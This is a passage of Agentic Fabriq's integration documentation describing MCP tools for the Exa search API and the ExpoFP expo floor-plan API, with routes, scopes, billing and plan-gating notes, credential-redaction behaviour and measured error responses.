answers and agent runs are priced per call (and an agent run per unit of effort), so an agent allowed to call it can spend the account's balance. A 402 from Exa is that balance, not the key. POST /api/v1/exa/findSimilar. Scopes: api. exa_post_monitors (write) — Create a search monitor via POST /monitors. Creates a new Monitor to run recurring Exa searches on a schedule. Monitors automatically execute your search query on a recurring schedule and deliver results to your webhook endpoint with automatic deduplication: - **Date-based filtering** only fetches content since the last run - **Semantic deduplication** tracks previous outputs to surface only new developments The response includes a `webhookSecret` that is only returned once at creation time. Store it securely for webhook signature verification. THE WEBHOOK SIGNING SECRET IS REDACTED FROM THIS RESULT. Exa returns it only here and no endpoint reads it back, so it is credential material arriving in an ordinary reply; Agentic Fabriq replaces it before the result reaches an agent or the audit pipeline. Everything else is returned untouched. If you need to hold the secret in order to verify delivery signatures, create the resource with Exa's own API or dashboard. POST /api/v1/exa/monitors. Scopes: api. exa_post_monitors_batch (write) — Batch action on search monitors via POST /monitors/batch. Perform a batch action on monitors matching the provided filters. Supported actions: - **delete**: Permanently remove matching monitors - **pause**: Pause matching monitors - **unpause**: Unpause matching monitors Use `dry_run: true` (the default) to preview which monitors would be affected before performing the action. Results are paginated via the `limit` parameter; loop until `has_more` is `false` to process all matching monitors. POST /api/v1/exa/monitors/batch. Scopes: api. exa_post_monitors_by_id_trigger (write) — Trigger a search monitor via POST /monitors/{id}/trigger. Triggers a run immediately, regardless of the schedule. Works for monitors with status `active` or `paused`. COST: this is a BILLED Exa call charged to the connected team's credit balance -- searches, content fetches, answers and agent runs are priced per call (and an agent run per unit of effort), so an agent allowed to call it can spend the account's balance. A 402 from Exa is that balance, not the key. POST /api/v1/exa/monitors/{id}/trigger. Scopes: api. exa_post_search (write) — Search the web via POST /search. Perform a search with an Exa prompt-engineered query and retrieve a list of relevant results. Optionally get contents. COST: this is a BILLED Exa call charged to the connected team's credit balance -- searches, content fetches, answers and agent runs are priced per call (and an agent run per unit of effort), so an agent allowed to call it can spend the account's balance. A 402 from Exa is that balance, not the key. POST /api/v1/exa/search. Scopes: api. exa_post_v0_imports (write) — Create an Import via POST /websets/v0/imports. Creates a new import to upload your data into Websets. Imports can be used to: - **Enrich**: Enhance your data with additional information using our AI-powered enrichment engine - **Search**: Query your data using Websets' agentic search with natural language filters - **Exclude**: Prevent duplicate or already known results from appearing in your searches Once the import is created, you can upload your data to the returned `uploadUrl` until `uploadValidUntil` (by default 1 hour). PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. POST /api/v1/exa/websets/v0/imports. Scopes: api. exa_post_v0_monitors (write) — Create a Websets Monitor via POST /websets/v0/monitors. Creates a new `Monitor` to continuously keep your Websets updated with fresh data. Monitors automatically run on your defined schedule to ensure your Websets stay current without manual intervention: - **Find new content**: Execute `search` operations to discover fresh items matching your criteria - **Update existing content**: Run `refresh` operations to update items contents and enrichments - **Automated scheduling**: Configure `cron` expressions and `timezone` for precise scheduling control PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. POST /api/v1/exa/websets/v0/monitors. Scopes: api. exa_post_v0_webhooks (write) — Create a Webhook via POST /websets/v0/webhooks. Creates a Webhook that delivers the selected events to your URL as they occur. The response includes the signing `secret` used to verify deliveries; it is only returned on creation. THE WEBHOOK SIGNING SECRET IS REDACTED FROM THIS RESULT. Exa returns it only here and no endpoint reads it back, so it is credential material arriving in an ordinary reply; Agentic Fabriq replaces it before the result reaches an agent or the audit pipeline. Everything else is returned untouched. If you need to hold the secret in order to verify delivery signatures, create the resource with Exa's own API or dashboard. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. POST /api/v1/exa/websets/v0/webhooks. Scopes: api. exa_post_v0_websets (write) — Create a Webset via POST /websets/v0/websets. Creates a new Webset with optional search, import, and enrichment configurations. The Webset will automatically begin processing once created. You can specify an `externalId` to reference the Webset with your own identifiers for easier integration. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. POST /api/v1/exa/websets/v0/websets. Scopes: api. exa_post_v0_websets_by_id (write) — Update a Webset via POST /websets/v0/websets/{id}. Updates the `title` or `metadata` of a Webset. Searches, imports, and enrichments are managed through their own endpoints. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. POST /api/v1/exa/websets/v0/websets/{id}. Scopes: api. exa_post_v0_websets_by_id_cancel (write) — Cancel a running Webset via POST /websets/v0/websets/{id}/cancel. Cancels all operations being performed on a Webset. Any enrichment or search will be stopped and the Webset will be marked as `idle`. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. POST /api/v1/exa/websets/v0/websets/{id}/cancel. Scopes: api. exa_post_v0_websets_by_webset_enrichments (write) — Create an Enrichment via POST /websets/v0/websets/{webset}/enrichments. Create an Enrichment for a Webset. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. POST /api/v1/exa/websets/v0/websets/{webset}/enrichments. Scopes: api. exa_post_v0_websets_by_webset_enrichments_by_id_cancel (write) — Cancel a running Enrichment via POST /websets/v0/websets/{webset}/enrichments/{id}/cancel. All running enrichments will be canceled. You can not resume an Enrichment after it has been canceled. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. POST /api/v1/exa/websets/v0/websets/{webset}/enrichments/{id}/cancel. Scopes: api. exa_post_v0_websets_by_webset_searches (write) — Create a Search via POST /websets/v0/websets/{webset}/searches. Creates a new Search for the Webset. The default behavior is to reuse the previous Search results and evaluate them against the new criteria. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. POST /api/v1/exa/websets/v0/websets/{webset}/searches. Scopes: api. exa_post_v0_websets_by_webset_searches_by_id_cancel (write) — Cancel a running Search via POST /websets/v0/websets/{webset}/searches/{id}/cancel. Cancels a currently running Search. You can cancel all searches at once by using the `websets/:webset/cancel` endpoint. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. POST /api/v1/exa/websets/v0/websets/{webset}/searches/{id}/cancel. Scopes: api. exa_post_v0_websets_preview (write) — Preview a webset via POST /websets/v0/websets/preview. Preview how a search query will be decomposed before creating a webset. This endpoint performs the same query analysis that happens during webset creation, allowing you to see the detected entity type, generated search criteria, and available enrichment columns in advance. Use this to help users understand how their search will be interpreted before committing to a full webset creation. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. POST /api/v1/exa/websets/v0/websets/preview. Scopes: api. ================================================================================ ## ExpoFP URL: https://www.agenticfabriq.com/integrations/expofp Section: Integrated Tools ExpoFP — 38 MCP tools Provider key: expofp. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. expofp_post_add_category (write) — Add category via POST /api/v1/add-category. Creates a category on one expo and answers with its `id` and `name`. The name must be free within that expo, compared without regard to case; a name already in use answers 400 "Name is already in use" rather than returning the existing category. Creating a category attaches no exhibitor to it -- that is `update-exhibitor` -- and the name is also registered as the category's label in the expo's own language, which the localisation editor and the published floor plan read. Without `eventId` ExpoFP answers 401 "Authorization error" (measured 2026-09-24), which is a missing expo rather than a bad credential. POST /api/v1/expofp/api/v1/add-category. Scopes: api. expofp_post_add_exhibitor (write) — Add exhibitor via POST /api/v1/add-exhibitor. Creates an exhibitor in one expo and answers with the `id` it was given. `name` is required, and so is `eventId` in practice: without it ExpoFP answers 401 "Authorization error" (measured 2026-09-24), which is a missing expo rather than a bad credential. Leave `externalId` out and one is generated by slugging the name, with -1, -2 appended until it is free; send one and it must be unused within the expo. `categories` attaches only to categories that ALREADY exist on the expo, matched by id or name, and silently ignores anything else -- reconcile against `list-categories` first. `tags` are created as needed and `metadata` keys must be unique within the request. POST /api/v1/expofp/api/v1/add-exhibitor. Scopes: api. expofp_post_add_exhibitor_booth (write) — Put an exhibitor on a booth via POST /api/v1/add-exhibitor-booth. Puts an exhibitor on a booth of the expo. `boothName` is the booth key as it is drawn on the floor plan and `exhibitorId` takes either ExpoFP's numeric id or the exhibitor's `externalId`, sent as a string -- either form resolves. An exhibitor may stand on several booths and a booth may hold several exhibitors, so this ADDS a relation rather than replacing one; assigning an exhibitor already on the booth is not an error and answers 200 with the body "Already added" while changing nothing (measured 2026-09-24). A booth and an exhibitor from two different expos answer 400. POST /api/v1/expofp/api/v1/add-exhibitor-booth. Scopes: api. expofp_post_add_exhibitor_extra (write) — Add an extra to an exhibitor via POST /api/v1/add-exhibitor-extra. Assigns an extra to an exhibitor. `extraId` is an id from `list-extras`. The quantity ADDS TO whatever the exhibitor already holds of that extra rather than setting it, so calling this twice with quantity 1 leaves the exhibitor with two; going over the extra's `limitPerExhibitor` is refused and nothing is written. Two built-in extras have a visible side effect: the featured-listing extra sets the exhibitor's `featured` flag and the floor-plan-advertisement extra sets `advertised`. An expo without the extras add-on is refused. POST /api/v1/expofp/api/v1/add-exhibitor-extra. Scopes: api. expofp_post_bulk_read_exhibitors (read) — Bulk read exhibitors via POST /api/v1/bulk-read-exhibitors. Returns exhibitor data by template: `responseItemTemplate` decides which tables are joined and which fields are selected, so a smaller template means a smaller query and a smaller body. Get the template from `bulk-read-exhibitors-template`, delete the fields you do not need, and send what is left; sending null instead asks for EVERY field, which is the largest query this API makes. The answer is `items`, one entry per exhibitor, each holding exactly the fields the template kept. A bulk method never fails as a whole -- the HTTP status stays 200 and each item carries its own `success` and `message` -- so read the body item by item. Without `expoId` ExpoFP answers 401 "Authorization error" (measured 2026-09-24), which is a missing expo rather than a bad credential. POST /api/v1/expofp/api/v1/bulk-read-exhibitors. Scopes: api. expofp_post_bulk_read_exhibitors_template (read) — Get the bulk-read template via POST /api/v1/bulk-read-exhibitors-template. Answers with the template to edit and post to `bulk-read-exhibitors`: every field that method is able to return, carrying placeholder values rather than data. What is read is only whether a field is PRESENT -- a field removed or set to null is not asked for. The template is the same for every expo. AGENTIC FABRIQ REMOVES THE `token` FIELD FROM THIS ANSWER: ExpoFP's response is shaped like the next REQUEST and therefore echoes the account API token back verbatim (measured 2026-09-24); the connection's credential is never returned to a caller, and `bulk-read-exhibitors` supplies it server-side. POST /api/v1/expofp/api/v1/bulk-read-exhibitors-template. Scopes: api. expofp_post_convert_dxf_to_svg (write, destructive) — Convert a DXF drawing into the floor plan via POST /api/v1/convert/dxf-to-svg. Queues the conversion of a DXF drawing into this expo's floor plan and answers at once with the `jobId` to poll `convert/dxf-to-svg/status` with. A 200 means the job was ACCEPTED, not that the plan was converted: the work starts ten seconds later and runs in the background. BOOTHS FOUND IN THE DRAWING ARE SYNCHRONISED INTO THE EXPO, so this rewrites the expo's booths. One conversion per expo per minute; a second request inside that window is refused with 400 and no job is created. `filePath` is a URL ExpoFP downloads the .dxf from, so it has to be reachable from the internet. ExpoFP requires four layer fields the published schema marks optional -- `boothLayers`, `boothNameLayer`, `backgroundLayers` and `foregroundLayers` (measured 2026-09-24). POST /api/v1/expofp/api/v1/convert/dxf-to-svg. Scopes: api. expofp_post_convert_dxf_to_svg_status (read) — Get DXF conversion status via POST /api/v1/convert/dxf-to-svg/status. Reports on a conversion started by `convert/dxf-to-svg`, addressed by the `jobId` that method returned. `isCompleted` is false while the job is queued or running and true once it has STOPPED, which is not the same as succeeded: a run whose .dxf could not be downloaded also finishes isCompleted true, a run that failed otherwise stays false while it is retried, and the reason is carried neither way. Confirm the outcome on the expo's floor plan rather than from this status alone. A jobId ExpoFP does not hold answers 404 with no `message` (measured 2026-09-24). POST /api/v1/expofp/api/v1/convert/dxf-to-svg/status. Scopes: api. expofp_post_delete_exhibitor (write, destructive) — Delete exhibitor via POST /api/v1/delete-exhibitor. Removes one exhibitor from its expo by ExpoFP's numeric `id`, together with the booth and category assignments that pointed at it; the booths themselves stay on the floor plan. An exhibitor tagged admin-locked is NOT deleted and the call still answers 200 with no body, so there is nothing in the response to tell the two outcomes apart -- read it back with `get-exhibitor` if the difference matters. An id the account cannot reach answers 404. POST /api/v1/expofp/api/v1/delete-exhibitor. Scopes: api. expofp_post_get_booth (read) — Get booth details via POST /api/v1/get-booth. Returns one booth of the expo, found by `name` -- the booth key as it is drawn on the floor plan, matched without regard to case -- with its title, type, size and price, whether it is on hold, whether it is a special section rather than a sellable booth, the administrative notes (never shown to visitors), the metadata pairs that exist only over this API, the polygon area and the exhibitors on it. BOTH `eventId` AND `name` are needed: either alone answers 404 "Booth not found" (measured 2026-09-24). The exhibitors come back here as ExpoFP IDS while `list-booths` returns the same relation as NAMES. POST /api/v1/expofp/api/v1/get-booth. Scopes: api. expofp_post_get_exhibitor (read) — Get exhibitor details via POST /api/v1/get-exhibitor. Returns one exhibitor's whole record, found by ExpoFP's numeric `id` -- the one `list-exhibitors` and `get-exhibitor-id` return. This method does NOT accept an `externalId`; translate it with `get-exhibitor-id` first. `booths` are booth keys, `images` are the gallery image ids `remove-gallery-image` takes, `metadata` are pairs that exist only over this API, and `adminNotes` is internal. Two fields are computed per call: `logoFileUrl` is the public logo address, empty when there is none, and `autoLoginUrl` is a SIGNED LINK that signs whoever opens it into this exhibitor's own portal -- treat it as a credential and do not publish it. An id the account cannot reach answers 404. POST /api/v1/expofp/api/v1/get-exhibitor. Scopes: api. expofp_post_get_exhibitor_id (read) — Find an exhibitor's ExpoFP id via POST /api/v1/get-exhibitor-id. Translates the key your own system knows an exhibitor by into ExpoFP's numeric `id`, which is what `get-exhibitor`, `update-exhibitor` and `delete-exhibitor` take. `externalId` is matched without regard to case, and against the exhibitor's NAME as well as its external id -- so a company is found by either, and a name that happens to equal another exhibitor's external id resolves to whichever the database returns first. BOTH `eventId` AND `externalId` are needed: either alone answers 404 "Exhibitor not found" (measured 2026-09-24). POST /api/v1/expofp/api/v1/get-exhibitor-id. Scopes: api. expofp_post_list_booths (read) — List all booths via POST /api/v1/list-booths. Returns every booth of the expo: its ExpoFP id, the `name` drawn on the floor plan, its title, the `externalId` that links it to a system of yours, whether it is a special section rather than a sellable booth, the exhibitors standing on it and its polygon area. The exhibitors come back here as NAMES while `get-booth` returns the same relation as IDS, so a caller reading both has to map between them. Without `expoId` ExpoFP answers 400 in plain text (measured 2026-09-24). POST /api/v1/expofp/api/v1/list-booths. Scopes: api. expofp_post_list_categories (read) — List categories via POST /api/v1/list-categories. Returns the categories of one expo as `id` and `name` -- the categories an exhibitor can be filed under on the floor plan and in the exhibitor list, and the ids `update-category` and `remove-category` take. Reconcile against this before sending a `categories` array to `add-exhibitor` or `update-exhibitor`, which attach only to categories that already exist and ignore anything else. An expo with no categories answers 200 with an empty array. Without `eventId` ExpoFP answers 401 "Authorization error" (measured 2026-09-24), which is a missing expo rather than a bad credential. POST /api/v1/expofp/api/v1/list-categories. Scopes: api. expofp_post_list_events (read) — List all expos via POST /api/v1/list-events. Returns every expo this connection's account owns, as `id`, `key` and `name`. This is where an integration starts: the `id` is the `expoId` (or `eventId`) every other method takes, and the `key` is the expo's slug in ExpoFP addresses. Send `eventId` to ask for one expo instead of all of them; the answer is an array either way, and it is empty when the account does not own that expo. It is the only read in this API that needs no expo id, which is why Agentic Fabriq checks a pasted token against it. POST /api/v1/expofp/api/v1/list-events. Scopes: api. expofp_post_list_exhibitor_extras (read) — List one exhibitor's extras via POST /api/v1/list-exhibitor-extras. Returns what one exhibitor holds -- its exhibitor extras and its booth extras -- as a single array, each entry carrying the `quantity` that exhibitor has of it. The two kinds are told apart by shape rather than by a field naming the kind: an exhibitor extra has no `booths`, while a booth extra lists the booths it stands on and its quantity is the sum over those booths. An extra the exhibitor does not hold is ABSENT rather than present with quantity zero. An expo without the extras add-on answers 200 with an empty array; an exhibitor the account cannot reach answers 404. POST /api/v1/expofp/api/v1/list-exhibitor-extras. Scopes: api. expofp_post_list_exhibitors (read) — List all exhibitors via POST /api/v1/list-exhibitors. Returns every exhibitor of one expo and the relations each of them holds -- the list an integration synchronises against. `id` is ExpoFP's own identifier and the argument the other exhibitor methods take, while `externalId` is the key your system knows the company by: a slug of the name by default, and yours to set. The relations come back as NAMES rather than identifiers -- `booths` are booth keys, and `categories`, `tags` and `extras` are names. One exhibitor's full record is much wider than the item returned here; read it with `get-exhibitor`. An expo with no exhibitors answers 200 with an empty array. POST /api/v1/expofp/api/v1/list-exhibitors. Scopes: api. expofp_post_list_extras (read) — List everything the expo sells via POST /api/v1/list-extras. Returns everything one expo sells to its exhibitors, in two arrays: `extras` are exhibitor extras, bought once by a company such as a listing upgrade, and `boothExtras` are bought per booth such as furniture. The `id` of either is the `extraId` `add-exhibitor-extra` takes. Each entry names the exhibitors that hold it, a booth extra additionally naming the booth the item stands on, and both arrays come in the expo's own order. Extras are an ADD-ON: an expo without it answers 200 with both arrays EMPTY rather than with an error, so an unexpectedly empty result is a question about the expo's plan and not about the request. Without `eventId` ExpoFP answers 404 "Expo with id 0 not found" (measured 2026-09-24). POST /api/v1/expofp/api/v1/list-extras. Scopes: api. expofp_post_remove_category (write, destructive) — Remove category via POST /api/v1/remove-category. Deletes one category of an expo, found by `id`, together with the memberships that filed exhibitors under it and the label it had in the expo's language. The exhibitors themselves are not touched; they simply stop being in that category. An unknown id answers 404. Success answers 204 with no body -- one of the few v1 methods that does not answer 200 (measured 2026-09-24). POST /api/v1/expofp/api/v1/remove-category. Scopes: api. expofp_post_remove_exhibitor_booth (write, destructive) — Take an exhibitor off a booth via POST /api/v1/remove-exhibitor-booth. Takes an exhibitor off a booth. `boothName` is the booth key as it is drawn on the floor plan and `exhibitorId` takes either ExpoFP's numeric id or the exhibitor's `externalId`. THIS REMOVES MORE THAN THE RELATION: every BOOTH EXTRA the exhibitor held on that booth is unassigned with it, because a booth extra belongs to the pair. The exhibitor's own extras, and its other booths, are untouched. A booth or an exhibitor the expo does not have answers 404, and a booth and an exhibitor from two different expos answer 400. POST /api/v1/expofp/api/v1/remove-exhibitor-booth. Scopes: api. expofp_post_remove_exhibitor_extra (write, destructive) — Remove an extra from an exhibitor via POST /api/v1/remove-exhibitor-extra. Takes an extra away from an exhibitor. This is NOT the inverse of `add-exhibitor-extra`: there is no quantity here and the WHOLE assignment is removed, however many the exhibitor held. Removing the featured-listing extra clears the exhibitor's `featured` flag and removing the floor-plan-advertisement extra clears `advertised`. An unknown exhibitor answers 404, and so does an extra the exhibitor does not hold. POST /api/v1/expofp/api/v1/remove-exhibitor-extra. Scopes: api. expofp_post_remove_gallery_image (write, destructive) — Remove a gallery image via POST /api/v1/remove-gallery-image. Removes one picture from the exhibitor's gallery and DELETES THE STORED FILE. `imgId` is an id from `get-exhibitor`'s `images`, or the one `upload-gallery-image` returned. This touches the gallery only: the logo and the leading image are replaced by `set-exhibitor-logo` and `set-exhibitor-leading-image`, which remove theirs by being called with no `imgUrl`. It is the exact inverse of `upload-gallery-image` and ships in the same migration, so a gallery added to through this connection can be pruned through it too. An exhibitor or an image the account cannot reach answers 404. POST /api/v1/expofp/api/v1/remove-gallery-image. Scopes: api. expofp_post_session_speakers_delete (write, destructive) — Delete session speakers via POST /api/v1/session-speakers/delete. Deletes session speakers of the expo by their ExpoFP `id`. The sessions they spoke at remain and stop referring to them. An id the expo does not have is reported as a FAILED ITEM rather than as a failed call: a bulk method never fails as a whole, the HTTP status stays 200, and each item carries its own `success` and `message` -- so read the body item by item. POST /api/v1/expofp/api/v1/session-speakers/delete. Scopes: api. expofp_post_session_speakers_get (read) — Get session speakers via POST /api/v1/session-speakers/get. Returns every session speaker of the expo with the whole profile: name, company, job title, the position held at this expo, a description, the photo and the social links. Speakers belong to the EXPO rather than to one session, and a session refers to them by the ids this method returns. `photoFileUrl` is ExpoFP's own copy of the photo, not the URL that was sent to `session-speakers/upsert`. Without `expoId` ExpoFP answers 403 (measured 2026-09-24), which is a missing expo rather than a bad credential. POST /api/v1/expofp/api/v1/session-speakers/get. Scopes: api. expofp_post_session_speakers_upsert (write) — Create or update session speakers via POST /api/v1/session-speakers/upsert. Creates and updates session speakers of the expo in one call. Each item is matched to an existing speaker by `id`, then by `externalId`, then BY NAME -- so two different people who share a name collapse onto one speaker unless you give them distinct external ids. An item matching none of the three is created, and a speaker created without an externalId is given its own new id as one. EVERY FIELD IS WRITTEN AS SENT, so an omitted field is stored empty: send the whole profile. `photoFileUrl` is fetched by ExpoFP and served from its own address from then on. A bulk method never fails as a whole; read each item's `success` and `message`. POST /api/v1/expofp/api/v1/session-speakers/upsert. Scopes: api. expofp_post_session_tracks_delete (write, destructive) — Delete session tracks via POST /api/v1/session-tracks/delete. Deletes session tracks of the expo by their ExpoFP `id`. A track still used by sessions is deleted anyway and those sessions simply stop referring to it; the sessions themselves are untouched. An id the expo does not have is reported as a failed item. A bulk method never fails as a whole; read each item's `success` and `message`. POST /api/v1/expofp/api/v1/session-tracks/delete. Scopes: api. expofp_post_session_tracks_get (read) — Get session tracks via POST /api/v1/session-tracks/get. Returns every session track of the expo: id, external id, name and colour. Tracks are the named, coloured groupings a session is filed under -- themes, halls, audiences -- and a session refers to them by the ids this method returns. Without `expoId` ExpoFP answers 403 (measured 2026-09-24), which is a missing expo rather than a bad credential. POST /api/v1/expofp/api/v1/session-tracks/get. Scopes: api. expofp_post_session_tracks_upsert (write) — Create or update session tracks via POST /api/v1/session-tracks/upsert. Creates and updates session tracks of the expo in one call. Each item is matched to an existing track by `id`, then by `externalId`, then BY NAME -- so sending a track whose name an existing track already holds updates that one instead of adding a second. `color` must be a valid hex code such as #FFFFFF; anything else fails that item. `name` and `color` are written as sent, so an omitted field is stored empty. A bulk method never fails as a whole; read each item's `success` and `message`. POST /api/v1/expofp/api/v1/session-tracks/upsert. Scopes: api. expofp_post_sessions_delete (write, destructive) — Delete sessions via POST /api/v1/sessions/delete. Deletes sessions of the expo by their ExpoFP `id` -- the `id` of `sessions/get`, not the `externalId`. Deleting a session also deletes its logo from storage and its links to tracks and speakers; the tracks and speakers themselves are left alone and are deleted through `session-tracks/delete` and `session-speakers/delete`. An id the expo does not have is reported as a failed item. A bulk method never fails as a whole; read each item's `success` and `message`. POST /api/v1/expofp/api/v1/sessions/delete. Scopes: api. expofp_post_sessions_get (read) — Get the expo programme via POST /api/v1/sessions/get. Returns the expo's whole programme: every session with its name, description, start and end, its logo, the booth it is held at, and the ids of the tracks and speakers linked to it. `boothId` and `boothName` are the room the session is held in -- a booth of this expo -- and `boothExhibitorIds` are the exhibitors standing on that booth, which is not the same thing as the session's speakers. The ids in `sessionTrackIds` and `sessionSpeakerIds` are resolved through `session-tracks/get` and `session-speakers/get`; this method does not inline them. Without `expoId` ExpoFP answers 403 (measured 2026-09-24), which is a missing expo rather than a bad credential. POST /api/v1/expofp/api/v1/sessions/get. Scopes: api. expofp_post_sessions_upsert (write) — Create or update sessions via POST /api/v1/sessions/upsert. Creates and updates sessions of the expo in one call. Each item is matched to an existing session by `id` first and, failing that, by `externalId` within the expo; an item matching nothing is created, and one created without an externalId is given its own new id as one. THIS IS A REPLACEMENT AND NOT A PATCH: every field of the item is written as sent, so a field left out is stored empty -- send the whole session each time. `boothId` and `boothName` both name the room and boothName is applied last when both are sent. `sessionTrackIds` and `sessionSpeakerIds` replace the session's links wholesale, while `speakers` carries whole speaker records that are upserted and then linked. `rowId` is your own row number, echoed back untouched, because a null entry is skipped and produces no answer -- do not line the answers up by position. Request VALIDATION does fail as a whole: an item without `name` is rejected before any session is touched. POST /api/v1/expofp/api/v1/sessions/upsert. Scopes: api. expofp_post_set_exhibitor_leading_image (write, destructive) — Set the exhibitor's leading image via POST /api/v1/set-exhibitor-leading-image. Replaces the exhibitor's leading image -- the wide picture at the top of its profile -- with one ExpoFP downloads from `imgUrl`. SENDING NO `imgUrl` REMOVES the current leading image, answers 200 and says nothing about which of the two happened; there is no separate delete method, which is why this tool is marked destructive. ExpoFP fetches and re-encodes the image, so the stored file is not byte-for-byte the one at that address; the limit is 5 MB and an address that is not a readable image answers 400 "File corrupted or unsupported". THIS IS THE ONE OPERATION IN THE INTEGRATION WITH NO READ-BACK: no ExpoFP method returns the leading image, so a 200 is the only evidence a call produces and it cannot be corroborated (measured 2026-09-24). Raw bytes are not offered -- the vendor's `Img` form part is deliberately not a tool argument. POST /api/v1/expofp/api/v1/set-exhibitor-leading-image. Scopes: api. expofp_post_set_exhibitor_logo (write, destructive) — Set the exhibitor's logo via POST /api/v1/set-exhibitor-logo. Replaces the exhibitor's logo with one ExpoFP downloads from `imgUrl`, and answers with no body. SENDING NO `imgUrl` REMOVES the current logo, answers 200 and says nothing about which of the two happened; there is no separate delete method, which is why this tool is marked destructive -- read `logoFileUrl` back with `get-exhibitor` to see what a call did. ExpoFP fetches, converts and renames the file after the exhibitor, so the stored address is `.../media/.` rather than anything derived from the URL sent; a vector logo (PDF, EPS, AI) is converted to PNG, the limit is 5 MB, and an address that is not a readable image answers 400 "File corrupted or unsupported" while leaving the existing logo in place (measured 2026-09-24). Raw bytes are not offered -- the vendor's `Img` form part is deliberately not a tool argument. POST /api/v1/expofp/api/v1/set-exhibitor-logo. Scopes: api. expofp_post_set_webhook_url (write, destructive) — Set the expo's webhook URL via POST /api/v1/set-webhook-url. FORWARDS THIS EXPO'S EXHIBITOR AND BOOTH ACTIVITY TO A URL YOU CHOOSE, from the moment it is set until it is replaced. What leaves is the expo's own event stream -- `exhibitor_added` and the booth-assignment events (`booth_assigned`/`booth_reserved`, which fire on the database state transition rather than on every Designer save) -- posted by ExpoFP to that address without a further Agentic Fabriq action row behind each delivery. THERE IS ONE URL PER EXPO AND SETTING IT REPLACES THE PREVIOUS ONE; `webhookUrl` is required and must be a URL, so this method cannot clear it, and ExpoFP publishes NO way to list or read back what was registered before -- so a caller cannot see whose endpoint they just replaced, and cannot put it back. Marked destructive for both reasons. POST /api/v1/expofp/api/v1/set-webhook-url. Scopes: api. expofp_post_update_booth (write) — Update booth via POST /api/v1/update-booth. Updates one booth of the expo, found by `name`. Title, type, size and price are NOT editable here -- they belong to the floor plan. Only what the request carries is written, and `metadata` REPLACES the booth's whole set of pairs rather than merging into it, so send the pairs the booth should end up with; duplicate keys are refused and leaving the field out keeps what is there. `externalId` must be unique within the expo. Setting `isOnHold` true records the moment and writes an exhibitor-history entry; setting it false clears that moment. BOTH `eventId` AND `name` are needed: `name` alone answers 400 naming EventId, and a null `adminNotes` does not clear the note -- send an empty string (both measured 2026-09-24). POST /api/v1/expofp/api/v1/update-booth. Scopes: api. expofp_post_update_category (write) — Rename category via POST /api/v1/update-category. Renames one category, found by `id`, and answers with the category as it now stands. The exhibitors filed under it keep their membership -- this changes the label, not the contents. The new name must be free within the same expo, ignoring case: a name another category already holds answers 400 "Name is already in use", while the category keeping its own name is allowed. An unknown id answers 404, and so does a missing one ("Category with ID 0 not found.", measured 2026-09-24). The label in the expo's own language is rewritten with it. POST /api/v1/expofp/api/v1/update-category. Scopes: api. expofp_post_update_exhibitor (write) — Update exhibitor via POST /api/v1/update-exhibitor. Updates one exhibitor. Identify it EITHER by `id`, OR by `externalId` together with `expoId` -- one of the two forms is required, and the second is what makes this usable from a system that never stored ExpoFP's ids. `name` is required in both forms. The update is PARTIAL: a field the request does not carry is left as it is, so send only what changes. The collections are the exception -- `categories`, `tags` and `metadata` REPLACE the exhibitor's whole set when they are present rather than merging into it, so omit a collection to keep it and send an empty array to clear it. Changing `externalId` to one another exhibitor of the expo already holds is a 400. POST /api/v1/expofp/api/v1/update-exhibitor. Scopes: api. expofp_post_upload_gallery_image (write) — Add a picture to the exhibitor's gallery via POST 